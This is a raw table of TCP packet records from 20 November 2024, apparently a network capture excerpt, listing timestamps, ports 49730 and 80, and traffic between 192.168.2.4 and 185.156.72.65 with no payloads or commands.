Nov 20, 2024 05:02:21.408101082 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408108950 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408114910 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408147097 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408147097 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408155918 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408190966 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408205032 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408206940 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408221960 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408237934 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408246994 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408246994 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408253908 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408267975 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408271074 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408287048 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408293962 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408293962 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408313036 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408322096 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408332109 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408339024 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408354044 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408364058 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408370972 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408386946 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408387899 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408404112 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408410072 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408420086 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408432007 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408451080 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408452988 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408471107 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408488989 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408489943 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408513069 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408534050 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408548117 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408562899 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408564091 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408579111 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408586979 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408595085 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408607960 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408612013 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408627033 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408628941 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408644915 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408653021 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408653021 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408660889 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408673048 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408679008 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408695936 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408710957 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408713102 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408713102 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408726931 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408737898 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408737898 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408746958 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408757925 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408763885 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408777952 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408787966 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408799887 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408803940 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408821106 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408827066 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408837080 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408849001 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408854961 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408870935 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408874035 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408874035 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408886909 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408894062 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408905029 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408921003 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408925056 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408936024 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408943892 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408951998 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408963919 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408967972 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408983946 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.408989906 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.408989906 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409002066 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409009933 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409018040 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409034014 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409030914 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409030914 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409049988 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409065008 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409068108 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409085035 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409095049 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409101009 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409111977 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409116983 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409132004 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409133911 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409149885 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409158945 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409158945 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409166098 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409178019 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409183025 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409199953 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409204960 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409204960 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409215927 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409224987 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409233093 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409245014 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409250021 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409261942 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409266949 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409282923 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409288883 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409288883 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409298897 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409316063 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409323931 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409323931 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409331083 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409343004 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409347057 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409363031 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409365892 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409383059 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409388065 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409389019 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409401894 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409420013 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409427881 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409427881 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409435987 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409451962 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409466028 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409467936 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409466028 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409483910 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409492970 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409492970 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409508944 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409518003 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409527063 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409534931 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409543991 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409562111 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409563065 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409563065 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409579039 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409583092 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409595013 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409600973 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409610987 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409621954 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409627914 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409645081 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409641981 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409661055 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409668922 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409668922 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409677982 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409694910 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409703016 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409703016 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409703016 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409710884 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409729004 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409733057 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409744978 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409753084 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409760952 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409778118 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409782887 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409794092 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409806013 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409810066 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409826994 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409830093 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409845114 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409867048 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409877062 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409877062 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409883022 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409898996 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409904003 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409904957 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409914970 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409925938 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409931898 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409948111 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409950972 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409950972 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409962893 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409970999 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409980059 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.409991026 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.409996986 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.410010099 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.410013914 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.410029888 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.410039902 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.410046101 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.410059929 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.410064936 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.410082102 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.410087109 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.410087109 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.410099030 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.410108089 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.410115957 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.410129070 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.410130978 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.410147905 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.410149097 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.410149097 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.410180092 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.410180092 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.578093052 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.578207970 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.582916975 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.582933903 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.582948923 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.582990885 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583025932 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583061934 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583076954 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583092928 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583120108 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583129883 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583262920 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583280087 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583295107 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583309889 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583322048 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583333969 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583337069 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583353043 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583359957 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583369017 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583374023 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583385944 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583398104 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583398104 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583417892 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583436012 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583452940 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583467960 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583472967 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583482981 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583483934 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583499908 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583502054 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583513021 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583519936 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583528996 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583535910 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583547115 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583551884 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583564043 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583568096 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583589077 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583592892 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583599091 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583609104 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583626032 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583641052 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583645105 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583658934 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583667994 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583677053 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583689928 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583693027 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583698034 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583709955 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583719015 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583726883 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583731890 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583744049 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583751917 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583760977 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583769083 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583777905 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583785057 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583796024 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583803892 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583828926 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583936930 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583956957 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583975077 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583975077 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.583988905 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.583998919 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584006071 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584018946 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584022045 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584027052 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584041119 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584048033 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584058046 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584078074 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584084988 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584100008 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584115028 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584120035 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584136009 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584141970 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584153891 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584155083 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584168911 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584171057 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584191084 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584192038 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584208965 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584233046 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584260941 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584270000 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584275961 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584291935 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584296942 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584300995 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584316969 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584331989 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584336042 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584351063 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584353924 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584367037 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584376097 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584383011 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584386110 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.584398985 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.584399939 CET	49730	80	192.168.2.4	185.156.72.65
